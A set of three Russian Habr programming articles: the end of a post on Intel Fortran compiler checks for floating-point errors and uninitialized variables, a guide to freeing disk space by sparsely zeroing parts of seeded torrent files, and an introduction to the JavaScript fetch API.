Для этого нужно включить опцию */fpe:0* и */traceback* (Windows), или *–fpe0* и *–traceback* (Linux), собрать приложение и запустить его. Если всё прошло как обычно, и приложение вышло без генерации исключения, то мы молодцы. Но, вполне возможно, что уже на этом этапе «полезут» разные «непредвиденные моменты». А всё потому, что *fpe0* меняет дефолтную работу с исключениями для чисел с плавающей точкой. Если по умолчанию они отключены, и мы спокойно делим на 0, не подозревая об этом, то теперь, будет происходить генерация исключения и остановка выполнения программы. Кстати, не только при делении на 0 (divide-by-zero), но и при переполнении числа с плавающей точкой (floating point overflow), а так же при недопустимых операциях (floating invalid). При этом, численные результаты могут также несколько измениться, так как теперь денормализованные числа будут «сбрасываться» в 0. Это, в свою очередь, может дать весомое ускорение при выполнении вашего приложения, так как с денормализованными числами работа происходит крайне медленно, ну а с нулями – сами понимаете.
Ещё один интересный момент – возможное получение исключений с опцией *fpe0* в результате определённых компиляторных оптимизаций, например, векторизации. Скажем, мы в цикле и делили на значение, если оно не 0, делая проверку if. Возможна ситуация, когда деление всё же будет происходить, потому что компилятор решил, что это будет значительно быстрее, чем использовать маскированные операции. В данном случае мы работаем в спекулятивном режиме.
Так вот это можно контролировать с помощью опции */Qfp-speculation:strict* (Windows) или *-fp-speculation=strict* (Linux), и отключать подобные оптимизации компилятора при работе с числами с плавающей точкой. Другой способ – изменить всю модель работы через *-fp-model strict*, что даёт большой отрицательный эффект на общую производительность приложения. Про то, какие модели имеются в компиляторе Intel я уже рассказывал [ранее](https://habrahabr.ru/company/intel/blog/160747/).
Кстати, можно поробовать и просто уменьшить уровень оптимизации через опции */O1* или */Od* на Windows (*-O1* и *-O0* на Linux).
Опция *traceback* просто позволяет получить более детальную информацию о том, где произошла ошибка (имя функции, файл и строчка кода).
Давайте сделаем тест на Windows, скомпилировав без оптимизации (с опцией */Od*):
```
program test
implicit none
real a,b
a=0
b = 1/a
print *, 'b=', b
end program test
```
В итоге на экране мы увидим следующее:
```
b= Infinity
```
Теперь включаем опцию */fpe:0* и */traceback* и получаем ожидаемый *exception*:
```
forrtl: error (73): floating divide by zero
Image PC Routine Line Source
test.exe 00F51050 _MAIN__ 5 test.f90
…
```
Такие проблемы нам нужно убрать из нашего кода до начала следующего этапа, а именно, принудительной инициализации значениями *SNaN* с помощью опции */Qinit:snan,arrays /traceback* (Windows) или *-init=snan,arrays -traceback* (Linux).
Теперь каждый доступ к неинициализированной переменной приведёт к ошибке времени выполнения:
```
forrtl: error (182): floating invalid - possible uninitialized real/complex variable.
```
На простейшем примере:
```
program test
implicit none
real a,b
b = 1/a
print *, 'b=', b
end program test
forrtl: error (182): floating invalid - possible uninitialized real/complex variable.
Image PC Routine Line Source
test.exe 00D01061 _MAIN__ 4 test.f90
…
```
Немного слов о том, что это за диковинная опция *init*. Появилась она не так давно, а именно с версии компилятора 16.0 (напомню, что последняя версия компилятора на сегодня – 17.0), и позволяет инициализировать в *SNaN* следующие конструкции:
* Статические скаляры и массивы (с атрибутом SAVE)
* Локальные скаляры и массивы
* Автоматические (образуемые при вызове функций) массивы
* Переменные из модулей
* Динамически выделяемые (с атрибутом ALLOCATABLE) массивы и скаляры
* Указатели (переменные с атрибутом POINTER)
Но есть и ряд ограничений, для которых *init* работать не будет:
* Переменные в группах EQUIVALENCE
* Переменные в COMMON блоке
* Наследуемые типы и их компоненты не поддерживаются, кроме ALLOCATABLE и POINTER
* Формальные (dummy) аргументы в функциях не инициализируются в *SNaN* локально. Тем не менее, фактические аргументы, передаваемые в функцию могут быть инициализированы в вызывающей функции.
* Ссылки в аргументах интринсик-функций и выражениях I/O
Кстати, опция умеет не только инициализировать значения в *SNaN*, но и занулять их. Для этого нужно указать */Qinit:zero* на Windows (*-init=zero* на Linux), и будут инициализированы не только типы REAL/COMPLEX, но и целочисленные INTEGER/LOGICAL. Добавляя *arrays*, мы так же будем инициализировать массивы, а не только скалярные значения.
Например, опции:
```
-init=snan,zero ! Linux and OS X systems
/Qinit:snan,zero ! Windows systems
```
Инициализируют скаляры типов REAL или COMPLEX значением *SNaN*, а типы INTEGER или LOGICAL нулями. Следующий пример расширяет действие инициализации ещё и на массивы:
```
-init=zero -init=snan –init=arrays ! Linux and OS X systems
/Qinit:zero /Qinit:snan /Qinit:arrays ! Windows systems
```
В прошлом Intel пытался реализовать подобный функционал через опцию *-ftrapuv*, но на сегодняшний день она не рекомендуется к использованию и устарела, хотя по задумке, тоже должна была инициализировать значения — не сложилось.
Кстати, если вы работаете на сопроцессоре Intel Xeon Phi первого поколения (Knights Corner), то опция будет недоступна для вас, так как там нет поддержки *SNaN*.
Ну и в конце, примерчик из документации, который мы скомпилируем на Linux со всеми предложенными опциями и найдём неинициализированные переменные в рантайме:
```
! ==============================================================
!
! SAMPLE SOURCE CODE - SUBJECT TO THE TERMS OF SAMPLE CODE LICENSE AGREEMENT,
! http://software.intel.com/en-us/articles/intel-sample-source-code-license-agreement/
!
! Copyright 2015 Intel Corporation
!
! THIS FILE IS PROVIDED "AS IS" WITH NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT
! NOT LIMITED TO ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
! PURPOSE, NON-INFRINGEMENT OF INTELLECTUAL PROPERTY RIGHTS.
!
! ===============================================================
module mymod
integer, parameter :: n=100
real :: am
real, allocatable, dimension(:) :: dm
real, target, dimension(n) :: em
real, pointer, dimension(:) :: fm
end module mymod
subroutine sub(a, b, c, d, e, m)
use mymod
integer, intent(in) :: m
real, intent(in), dimension(n) :: c
real, intent(in), dimension(*) :: d
real, intent(inout), dimension(*) :: e
real, automatic, dimension(m) :: f
real :: a, b
print *, a,b,c(2),c(n/2+1),c(n-1)
print *, d(1:n:33) ! first and last elements uninitialized
print *, e(1:n:30) ! middle two elements uninitialized
print *, am, dm(n/2), em(n/2)
print *, f(1:2) ! automatic array uninitialized
e(1) = f(1) + f(2)
em(1)= dm(1) + dm(2)
em(2)= fm(1) + fm(2)
b = 2.*am
e(2) = d(1) + d(2)
e(3) = c(1) + c(2)
a = 2.*b
end
program uninit
use mymod
implicit none
real, save :: a
real, automatic :: b
real, save, target, dimension(n) :: c
real, allocatable, dimension(:) :: d
real, dimension(n) :: e
allocate (d (n))
allocate (dm(n))
fm => c
d(5:96) = 1.0
e(1:20) = 2.0
e(80:100) = 3.0
call sub(a,b,c,d,e(:),n/2)
deallocate(d)
deallocate(dm)
end program uninit
```
Сначала, компилируем с *–fpe0* и запускаем:
```
$ ifort -O0 -fpe0 -traceback uninitialized.f90; ./a.out
0.0000000E+00 -8.7806177E+13 0.0000000E+00 0.0000000E+00 0.0000000E+00
0.0000000E+00 1.000000 1.000000 0.0000000E+00
2.000000 0.0000000E+00 0.0000000E+00 3.000000
0.0000000E+00 0.0000000E+00 0.0000000E+00
1.1448686E+24 0.0000000E+00
```
Видно, что никаких исключений, связанных с операциями надо числами с плавающей точкой в нашем приложении нет, но есть несколько «странных» значений. Будем искать неинициализированные переменные с опцией *init*:
```
$ ifort -O0 -init=snan -traceback uninitialized.f90; ./a.out
NaN NaN 0.0000000E+00 0.0000000E+00 0.0000000E+00
0.0000000E+00 1.000000 1.000000 0.0000000E+00
2.000000 0.0000000E+00 0.0000000E+00 3.000000
NaN 0.0000000E+00 0.0000000E+00
1.1448686E+24 0.0000000E+00
forrtl: error (182): floating invalid - possible uninitialized real/complex variable.
Image PC Routine Line Source
a.out 0000000000477535 Unknown Unknown Unknown
a.out 00000000004752F7 Unknown Unknown Unknown
a.out 0000000000444BF4 Unknown Unknown Unknown
a.out 0000000000444A06 Unknown Unknown Unknown
a.out 0000000000425DB6 Unknown Unknown Unknown
a.out 00000000004035D7 Unknown Unknown Unknown
libpthread.so.0 00007FC66DD26130 Unknown Unknown Unknown
a.out 0000000000402C11 sub_ 39 uninitialized.f90
a.out 0000000000403076 MAIN__ 62 uninitialized.f90
a.out 00000000004025DE Unknown Unknown Unknown
libc.so.6 00007FC66D773AF5 Unknown Unknown Unknown
a.out 00000000004024E9 Unknown Unknown Unknown
Aborted (core dumped)
```
Теперь видно, что на строчке 39 мы обращаемся к неинициализированный переменной AM из модуля MYMOD:
```
b = 2.*am
```
В этом коде есть и другие ошибки, которые я предлагаю найти самим с помощью компилятора Intel. Очень надеюсь, что данный пост будет полезен всем, кто пишет код на Фортране, и ваши приложения пройдут необходимые проверки на неинициализированные переменные ещё до выхода «в свет». На этом спасибо за внимание и до скорых встреч! Всех с наступающим Новым Годом! | https://habr.com/ru/post/318494/ | null | ru | null |
# Делаем дырки в торрентах освобождая место и оставаясь на раздаче (часть 1)
[](https://habrahabr.ru/post/349950/)
*Предупреждение: Этот график сделан для скрипта второй части статьи за которую я ещё не брался. Поэтому не очень обращайте внимание на данные в нём. Графики для этой статьи в конце.*
Информацию из этой статьи используйте на свой страх и риск. Мы будем стирать данные из файлов. Статья написана под операционную систему Windows и файловую систему NTFS. Также в статье много изображений.
Что такое разреженный файл
--------------------------
> [Разрежённый файл](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B5%D0%B6%D1%91%D0%BD%D0%BD%D1%8B%D0%B9_%D1%84%D0%B0%D0%B9%D0%BB) (англ. sparse file) — файл, в котором последовательности нулевых байтов[1] заменены на информацию об этих последовательностях (список дыр).
>
>
>
> Дыра (англ. hole) — последовательность нулевых байт внутри файла, не записанная на диск. Информация о дырах (смещение от начала файла в байтах и количество байт) хранится в метаданных ФС.
На Geektimes также есть небольшая статья о них: "[Разреженные файлы в NTFS](https://geektimes.ru/post/78018/)"
Операционная система по умолчанию не создаёт разреженные файлы. Этот флаг можно установить файлу программно или при помощи утилиты.
Устанавливаем флаг при помощи утилиты:
```
fsutil sparse setflag <имя файла>
```
Программно (С++ Windows):
```
DeviceIoControl( m_hFile, FSCTL_SET_SPARSE, NULL, 0, NULL, 0, &dwOut, NULL )
```
Автоматически нулевые последовательности в файле не освободят место на диске и это также нужно делать программно или при помощи утилиты.
Затираем нулями часть файла помощи утилиты:
```
fsutil sparse setrange <имя файла> <позиция> <длинна>
```
Программно (С++ Windows):
```
FILE_ZERO_DATA_INFORMATION range;
range.FileOffset.QuadPart = start;
range.BeyondFinalZero.QuadPart = start + size;
DeviceIoControl( m_hFile, FSCTL_SET_ZERO_DATA, ⦥, sizeof(range), NULL, 0, &dwOut, NULL );
```
Простые файлы
-------------
Для них есть специальные утилиты которые высвобождают место в файле там где большая последовательность нулей без его повреждения. Но такие файлы редко встречаются.
Загружаемые файлы
-----------------
1. С флагом разреженного файл будет занимать столько сколько нужно загруженным данным. Это полезно когда в очереди на загрузку стоит много файлов и их полный общий объём может превышать доступный.
2. По хешам частей можно определить части заполненные нулями и пометить их уже загруженными. Эти части не будут загружаться и занимать место на диске.
**Функция для поиска пустых кусочков в торренте (С++ Shareaza)**[BTInfo.cpp](https://github.com/ivan386/Shareaza/blob/2e29fc0312cefa491b23914a3f9ab00b1cc4762a/shareaza/BTInfo.cpp#L1611):
```
BOOL CBTInfo::IsZeroBlock(uint32 nBlock) const
{
static const uint32 ZeroHash[22][5] = {
// Hash: 897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1 Size: 16384
{ 0xB6567289, 0x4D1A9E70, 0x92BADAA9, 0x9CE3BDB6, 0xC1D8CCCF },
// Hash: 5188431849B4613152FD7BDBA6A3FF0A4FD6424B Size: 32768
{ 0x18438851, 0x3161B449, 0xDB7BFD52, 0x0AFFA3A6, 0x4B42D64F },
// Hash: 1ADC95BEBE9EEA8C112D40CD04AB7A8D75C4F961 Size: 65536
{ 0xBE95DC1A, 0x8CEA9EBE, 0xCD402D11, 0x8D7AAB04, 0x61F9C475 },
// Hash: 67DFD19F3EB3649D6F3F6631E44D0BD36B8D8D19 Size: 131072
{ 0x9FD1DF67, 0x9D64B33E, 0x31663F6F, 0xD30B4DE4, 0x198D8D6B },
// Hash: 2E000FA7E85759C7F4C254D4D9C33EF481E459A7 Size: 262144
{ 0xA70F002E, 0xC75957E8, 0xD454C2F4, 0xF43EC3D9, 0xA759E481 },
// Hash: 6A521E1D2A632C26E53B83D2CC4B0EDECFC1E68C Size: 524288
{ 0x1D1E526A, 0x262C632A, 0xD2833BE5, 0xDE0E4BCC, 0x8CE6C1CF },
// Hash: 3B71F43FF30F4B15B5CD85DD9E95EBC7E84EB5A3 Size: 1048576
{ 0x3FF4713B, 0x154B0FF3, 0xDD85CDB5, 0xC7EB959E, 0xA3B54EE8 },
// Hash: 7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6 Size: 2097152
{ 0x8DD4767D, 0x54ACD764, 0xA414D711, 0x7EF383BB, 0xF68D5B3E },
// Hash: 2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3 Size: 4194304
{ 0x2FBDCC2B, 0x135CF138, 0x895A7DEB, 0xF5859DFD, 0xC33BE295 },
// Hash: 5FDE1CCE603E6566D20DA811C9C8BCCCB044D4AE Size: 8388608
{ 0xCE1CDE5F, 0x66653E60, 0x11A80DD2, 0xCCBCC8C9, 0xAED444B0 },
// Hash: 3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2 Size: 16777216
{ 0xFC17443B, 0x30EE1C42, 0xD90FADA9, 0xA8209231, 0xA22DE3DA },
// Hash: 57B587E1BF2D09335BDAC6DB18902D43DFE76449 Size: 33554432
{ 0xE187B557, 0x33092DBF, 0xDBC6DA5B, 0x432D9018, 0x4964E7DF },
// Hash: 44FAC4BEDDE4DF04B9572AC665D3AC2C5CD00C7D Size: 67108864
{ 0xBEC4FA44, 0x04DFE4DD, 0xC62A57B9, 0x2CACD365, 0x7D0CD05C },
// Hash: BA713B819C1202DCB0D178DF9D2B3222BA1BBA44 Size: 134217728
{ 0x813B71BA, 0xDC02129C, 0xDF78D1B0, 0x22322B9D, 0x44BA1BBA },
// Hash: 7B91DBDC56C5781EDF6C8847B4AA6965566C5C75 Size: 268435456
{ 0xDCDB917B, 0x1E78C556, 0x47886CDF, 0x6569AAB4, 0x755C6C56 },
// Hash: 5B088492C9F4778F409B7AE61477DEC124C99033 Size: 536870912
{ 0x9284085B, 0x8F77F4C9, 0xE67A9B40, 0xC1DE7714, 0x3390C924 },
// Hash: 2A492F15396A6768BCBCA016993F4B4C8B0B5307 Size: 1073741824
{ 0x152F492A, 0x68676A39, 0x16A0BCBC, 0x4C4B3F99, 0x07530B8B },
// Hash: 91D50642DD930E9542C39D36F0516D45F4E1AF0D Size: 2147483648
{ 0x4206D591, 0x950E93DD, 0x369DC342, 0x456D51F0, 0x0DAFE1F4 },
// Hash: 1BF99EE9F374E58E201E4DDA4F474E570EB77229 Size: 4294967296
{ 0xE99EF91B, 0x8EE574F3, 0xDA4D1E20, 0x574E474F, 0x2972B70E },
// Hash: BCC8C0CA9E402EEE924A6046966D18B1F66EB577 Size: 8589934592
{ 0xCAC0C8BC, 0xEE2E409E, 0x46604A92, 0xB1186D96, 0x77B56EF6 },
// Hash: DC44DD38511BD6D1233701D63C15B87D0BD9F3A5 Size: 17179869184
{ 0x38DD44DC, 0xD1D61B51, 0xD6013723, 0x7DB8153C, 0xA5F3D90B },
// Hash: 7FFB233B3B2806328171FB8B5C209F48DC095B72 Size: 34359738368
{ 0x3B23FB7F, 0x3206283B, 0x8BFB7181, 0x489F205C, 0x725B09DC }
};
int i = 0;
for(; m_nBlockSize > ( (uint64) 16384 << i ); i++)
if ( i > 21 )
return FALSE;
return memcmp( &m_pBlockBTH[ nBlock ], ZeroHash[ i ], sizeof( ZeroHash[ i ] ) ) == 0;
}
```
Недостатки:
Файл фрагментируется. Это происходит и с обычными файлами но с разреженными это более выражено. Файл загружается в случайном порядке и место под данные выделяется по мере необходимости. Кусочки файла разбрасываются по диску.
Частичное стирание ненужных файлов на раздаче.
----------------------------------------------
Разрежённые файлы позволяют постепенно высвобождать место под другие данные. Заданный командой `fsutil sparse setrange` участок освобождается и читаются далее из него только нули.
Если перепроверить эти файлы то клиент пометит прореженные участки как не загруженные(если там изначально не было нулей) и не будет их раздавать. Чтобы он не пытался загрузить их обратно нужно снять галочку загрузки. При этом целые участки файла останутся доступны для роя.
Польза:
1. Тем самым мы можем остаться на раздаче при этом освободив достаточно места под загрузку нового торрента.
2. Оставшись на раздаче мы не увеличиваем нагрузку на другие источники.
3. Чем больше источников раздают тем выше скорость загрузки.
### Пример
У нас есть файл "linux.iso". Его размер 1.4 гигабайта. Для новой загрузки нам не хватает 1 гигабайта свободного пространства на диске.
### Используем fsutil sparse напрямую (не правильно!)
```
fsutil sparse setflag linux.iso
fsutil sparse setrange linux.iso 0 1073741824
```
Мы освободили 1 гигабайт пространства на диске но этим способом мы очищаем большой непрерывный участок в начале файла. Если другие источники повторят это то мы получим переизбыток доступных частей в конце файла а его начало может быть полностью недоступно в отсутствии полного источника.
### Пишем простой скрипт выбора случайной позиции
Поскольку используются большие числа и для удобства ведём вычисления в JavaScript
[sparse\_light.js](https://github.com/ivan386/sparse_light/blob/29e7b3e74014cd2c0b0e9f6ba803ad26a978ca02/sparse_light.js#L1)
```
// Нам нужны два аргумента
if (WScript.Arguments.Length == 2)
{
// Первый аргумент размер файла
var file_size = parseInt( WScript.Arguments.Item(0) );
// Второй аргумент размер части файла которую стираем
var sparse_size = parseInt( WScript.Arguments.Item(1) );
if ( file_size > 0 && sparse_size > 0 && sparse_size < file_size )
{
// Если стираемая часть меньше половины файла то
if ( file_size / 2 > sparse_size )
// Вычисляем позицию с которой будем стирать файл и возврашаем размер стираемой части без изменений
WScript.Echo( Math.round( ( file_size - sparse_size ) * Math.random() ), sparse_size );
else
{
// Здесть мы стираем большую часть файла поэтому вычисляем позицию для оставшегося кусочка данных
var data_size = file_size - sparse_size;
var data_pos = Math.round( ( file_size - data_size ) * Math.random() );
// Возвращаем стираемый отрезок до данных
if ( data_pos > 0 )
WScript.Echo( 0, data_pos );
var sparse_pos = data_pos + data_size;
// Возвращаем стираемый отрезок после данных
if ( sparse_pos < file_size )
WScript.Echo( sparse_pos, file_size - sparse_pos );
}
}
}
```
Получение размера файла и работу с fsutil sparse оставим в командном файле.
[sparse\_light.cmd](https://github.com/ivan386/sparse_light/blob/29e7b3e74014cd2c0b0e9f6ba803ad26a978ca02/sparse_light.cmd#L1)
```
@rem %1 Первый аргумент это полный путь к файлу
@rem %2 Второй аргумент часть которую мы стираем
@setlocal
@rem Предупреждаем перед тем как затирать части файла
@echo This script will erase some of the data (%2 bytes) from the file: %1
@set /P AREYOUSURE=Are you sure (Y/[N])?
@if /I "%AREYOUSURE%" NEQ "Y" goto END
@rem Устанавливаем флаг разрежённого файла
fsutil sparse setflag %1
@rem Циклом читаем позицию и размер участка которые нам вернёт sparse_light.js и прореживаем эту часть файла
for /f "tokens=1,2" %%i in ('cscript //nologo "%~dp0sparse_light.js" %~z1 %2') do (
fsutil sparse setrange %1 %%i %%j
)
:END
@endlocal
```
Вызываем:
```
sparse_random.cmd linux.iso 1073741824
```
Этот скрипт затрёт один или два случайных участка файла. Скрипт подходит для затирания одиночного файла.
### Пример использования скрипта с qBittorent (много скриншотов)
1. Открываем qBittorent
2. Выбираем нужный торрент (в данном случае linux.iso). Вызываем контекстное меню и нажимаем "Приостановить".
3. Прореживаем файл при помощи скрипта:
`sparse_light.cmd G:\linux\linux.iso 500000000`
4. Убеждаемся что освободили заданное количество места на диске. Открываем свойства файла и сравниваем "Size" и "Size on disk".
5. В qBittorent переключаемся на вкладку содержимое
6. И снимаем галочку рядом с файлом чтобы он после проверки не начал загружаться заново
7. Правой кнопкой мыши на раздаче вызываем контекстное меню и нажимаем пункт "Проверить принудительно"
8. Да мы уверены, что хотим выполнить повторную проверку выбранных торрентов.
9. После окончания проверки. Правой кнопкой мыши на раздаче вызываем контекстное меню и нажимаем пункт "Возобновить"
10. Таким образом мы остались на раздаче и высвободили немного места на диске
11. Правой кнопкой мыши на раздаче вызываем контекстное меню и нажимаем пункт "Переместить" (Надо бы это делать первым пунктом но я сегодня только об этом подумал)
12. Подбираем имя директории так чтобы было понятно что файлы в ней не пригодны к использованию.
#### Считаем статистику в SVG
Файл разделён на 100 блоков. На графиках учитываются только полные блоки. Каждая строка в сетке это одна эмуляция роя. Ниже сетки с веху в низ опускаются графики доступности.
1. В синем графике столбик под каждым блоком показывает количество циклов в которых был он полным.
2. В тёмно синем(на самом деле полупрозрачном сером) графике показывается слева(0%) на право(100%) процент доступных данных и сверху в низ количество циклов к которых этот процент был доступен.
Для тех кто хочет поиграться с эмуляцией: <https://ivan386.github.io/sparse_light/emulator.svg>
Управление с клавиатуры:
`P/З` — пауза
`+/=` — добавить один источник
`-/_` — убрать один источник
Управление мышью:
Кликая мышкой по сетке можно выбрать процент который будет стёрт у всех источников. Чем правее тем больше стирается.
### Разбираем графики
1. 5 источников стёрли 81% процент файла с разных позиций. При этом осталось доступным 64% в большинстве циклов. Блоки по краям при этом практически всегда остаются недоступны.
2. 5 источников стёрли 49% процентов файла с разных позиций. Осталось доступно 88% файла.
Поскольку высвобождается меньше половины файла скрипт выбирает позицию для стирания. Таким образом в середине файла блоки становятся менее доступны чем по краям.
3. 5 источников стёрли 52% процента файла с разных позиций. Осталось доступно 86% файла.
Выбрано для стирания больше половины файла. Скрипт в данном случае выбирает позицию для данных и стирает до и после этого кусочка.
4. 5 источников стёрли 40% процентов файла с разных позиций. Осталось доступно 100% файла. Тут мы видим что при стирании до 40% файла при 5 источниках мы наиболее вероятно получим 100% доступность файла.
Графики 2 и 3 компенсируют друг друга.
### Заключение
Данный способ высвобождения места на диске подходит для раздач с большими файлами. Мы можем стереть часть и раздавать дальше оставшееся когда содержимое нам уже не нужно.
### Источники
1. [Разрежённый файл](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B5%D0%B6%D1%91%D0%BD%D0%BD%D1%8B%D0%B9_%D1%84%D0%B0%D0%B9%D0%BB)
2. [Разреженные файлы в NTFS](https://geektimes.ru/post/78018/)
3. [FSCTL\_SET\_SPARSE control code](https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa364596(v=vs.85).aspx)
4. [FSCTL\_SET\_ZERO\_DATA control code](https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa364597(v=vs.85).aspx)
5. [FILE\_ZERO\_DATA\_INFORMATION structure](https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa364411(v=vs.85).aspx)
6. [How can I make an “are you sure” prompt in a Windows batchfile?](https://stackoverflow.com/questions/1794547/how-can-i-make-an-are-you-sure-prompt-in-a-windows-batchfile)
7. [How to set environment variables in vbs that can be read in calling batch script](https://stackoverflow.com/questions/3737725/how-to-set-environment-variables-in-vbs-that-can-be-read-in-calling-batch-script) | https://habr.com/ru/post/349950/ | null | ru | null |
# Введение в fetch
Прощай, XMLHttpRequest!
=======================
`fetch()` позволяет вам делать запросы, схожие с XMLHttpRequest (XHR). Основное отличие заключается в том, что Fetch API использует [Promises (Обещания)](http://habrahabr.ru/post/209662/), которые позволяют использовать более простое и чистое API, избегать катастрофического количества callback'ов и необходимости помнить API для XMLHttpRequest.
Fetch API стал доступен пользователям вместе с [Service Worker](http://www.html5rocks.com/en/tutorials/service-worker/introduction/)'ами в global скоупе в Chrome 40, однако уже в версии 42 он станет доступен в скоупе window. Разумеется, для всех [остальных браузеров, которые пока ещё не поддерживают fetch](http://caniuse.com/#feat=fetch) существует [полифил от GitHub](https://github.com/github/fetch), который доступен уже сегодня.
Простой Fetch запрос
--------------------
Давайте начнём со сравнения простого примера, реализованного с `XMLHttpRequest` и `fetch`. Всё, что мы будем делать в этом примере — сделаем запрос на URL, получим ответ и распарсим его как JSON.
#### XMLHttpRequest
Пример с XMLHttpRequest потребует от нас установить два обработчика событий на `success` и `error`, а так же вызвать два метода: `open()` и `send()`. [Пример из MDN документации](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest):
```
function reqListener() {
var data = JSON.parse(this.responseText);
console.log(data);
}
function reqError(err) {
console.log('Fetch Error :-S', err);
}
var oReq = new XMLHttpRequest();
oReq.onload = reqListener;
oReq.onerror = reqError;
oReq.open('get', './api/some.json', true);
oReq.send();
```
#### Fetch
Наш fetch запрос будет выглядеть так:
```
fetch('./api/some.json')
.then(
function(response) {
if (response.status !== 200) {
console.log('Looks like there was a problem. Status Code: ' +
response.status);
return;
}
// Examine the text in the response
response.json().then(function(data) {
console.log(data);
});
}
)
.catch(function(err) {
console.log('Fetch Error :-S', err);
});
```
Первым делом мы проверяем статус ответа и проверяем, успешно ли выполнился запрос (ожидаем 200 статус). Если всё хорошо, то парсим ответ как JSON.
Ответом `fetch()` является [Stream-объект](https://streams.spec.whatwg.org/). Это означает, что в результате вызова метода `json()` мы получим Promise, т.к. чтение из подобного объекта является асинхронным.
### Метаданные ответа
В предыдущем примере мы изучили, как можно проверить статус объекта ответа и конвентировать сам ответ в JSON. Остальные метаданные, к которым вы возможно получить доступ (например, заголовки), приведены ниже:
```
fetch('users.json').then(function(response) {
console.log(response.headers.get('Content-Type'));
console.log(response.headers.get('Date'));
console.log(response.status);
console.log(response.statusText);
console.log(response.type);
console.log(response.url);
});
```
### Типы ответа
Когда мы делаем fetch-запрос, ответу будет дан тип «basic», «cors» или «opaque». Эти «типы» указывают на то, с какого ресурса пришли данные и могут быть использованы для того, чтобы определить процесс обработки данных.
Когда запрос сделан на ресурс, находящимся на том же origin (*имеется ввиду, что запрос выполняется в рамках одного сайта. прим. пер.*), ответ будет содержать тип «базовый» и для такого запроса не будет никаких ограничений.
Если запрос сделан с одного origin'а на другой (кроссдоменный запрос), который, в свою очередь, вернул [CORS](http://www.html5rocks.com/en/tutorials/cors/) заголовки, тогда типом будет являться «cors». Объекты с типами «cors» и «basic» почти идентичны, однако «cors» несколько ограничивает метаданные, к которым может быть получен доступ до «Cache-Control», «Content-Language», «Content-Type», «Expires», «Last-Modified», и «Pragma».
Что касается «opaque» — то он приходит в случаях, когда выполняется CORS запрос, но удаленный ресурс не возвращает CORS заголовки. Данный тип запроса не предоставляет доступ данным или заголовку статуса, поэтому мы не имеем возможности судить о результате выполнения запроса. В рамках текущей имплементации `fetch()` не представляется возможности выполнять CORS запросы из скоупа window, и [вот здесь](https://code.google.com/p/chromium/issues/detail?id=457157&q=fetch%20no-cors&colspec=ID%20Pri%20M%20Week%20ReleaseBlock%20Cr%20Status%20Owner%20Summary%20OS%20Modified) написано почему. Эта функциональность должна быть добавлена, как только [Cache API](https://docs.moodle.org/dev/Cache_API) станет доступным из объекта window.
Вы можете определить ожидаемый режим запроса, тем самым фильтруя результаты запросов с неподходящим типом. Режим запроса может быть установлен на следующий:
— “same-origin” успешно выполняется только для запросов на тот же самый origin, все остальные запросы будут отклонены.
— “cors” работает так же, как «same-origin» + добавляет возможность создавать запросы к сторонним сайтам, если они возвращают соответствующие CORS заголовки.
— “cors-with-forced-preflight” работает так же, как «cors», но перед запросом всегда [отсылает тестовый запрос](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests) на проверку.
— “no-cors” используется, когда необходимо выполнить запрос к origin, который не отсылает CORS заголовки и результатом выполнения является объект с типом «opaque». Как говорилось выше, в данный момент это невозможно в скоупе window.
Чтобы определить режим запроса, добавьте объект опций вторым параметром к запросу и установите «mode» в этом объекте:
```
fetch('http://some-site.com/cors-enabled/some.json', {mode: 'cors'})
.then(function(response) {
return response.text();
})
.then(function(text) {
console.log('Request successful', text);
})
.catch(function(error) {
log('Request failed', error)
});
```
### Цепочки Promises
Одной из прекрасных особенностей Promise'ов является возможность группировать их в цепочки. Если говорить о них в скоупе `fetch()`, то они позволяют нам «шарить» логику между запросами.
Если вы работаете с JSON API, вам потребуется проверить статус и распарсить JSON для каждого ответа. Вы можете упростить свой код, определив парсинг статуса и JSON как раздельные функции, которые вернут Promise'ы. Вам останется подумать только об обработке самих данных и, разумеется, исключений.
```
function status(response) {
if (response.status >= 200 && response.status < 300) {
return Promise.resolve(response)
} else {
return Promise.reject(new Error(response.statusText))
}
}
function json(response) {
return response.json()
}
fetch('users.json')
.then(status)
.then(json)
.then(function(data) {
console.log('Request succeeded with JSON response', data);
}).catch(function(error) {
console.log('Request failed', error);
});
```
Мы определяем функцию, которая проверяет `response.status` и возвращает результат: `Promise.resolve()` или `Promise.reject()`. Это первый вызванный метод в нашей цепочке, и если он успешно завершается(`Promise.resolve()`), то вызывается следующий за ним метод — `fetch()`, который, в свою очередь, опять возвращает Promise от `response.json()`. После этого вызова, в случае удачного выполнения, у нас будет готовый JSON объект. Если парсинг провалится, Promise будет отменен и сработает условие возникновения исключения.
Но самое лучшее здесь — это возможность переиспользовать такой код для всех fetch-запросов в приложении. Такой код проще поддерживать, читать и тестировать.
#### POST запрос
Уже давно никого не удивишь необходимостью использовать POST метод с передачей параметров в «теле» запроса для работы с API.
Чтобы осуществить такой запрос, мы должны указать соответствующие параметры в объекте настроек `fetch()`:
```
fetch(url, {
method: 'post',
headers: {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
},
body: 'foo=bar&lorem=ipsum'
})
.then(json)
.then(function (data) {
console.log('Request succeeded with JSON response', data);
})
.catch(function (error) {
console.log('Request failed', error);
});
```
### Посылаем учётные данные через Fetch-запрос
Если вы хотите отправить запрос с каким-либо учётными данными (например, с cookie), вам следует установить `credentials` в опциях запроса на «include»:
```
fetch(url, {
credentials: 'include'
})
```
### FAQ
Могу ли я отменить `fetch()` запрос?
В настоящий момент это невозможно, но это активно обсуждается на GitHub
Существует ли полифил?
[Да](https://github.com/github/fetch)
Почему «no-cors» реализован для service workers, но не для window?
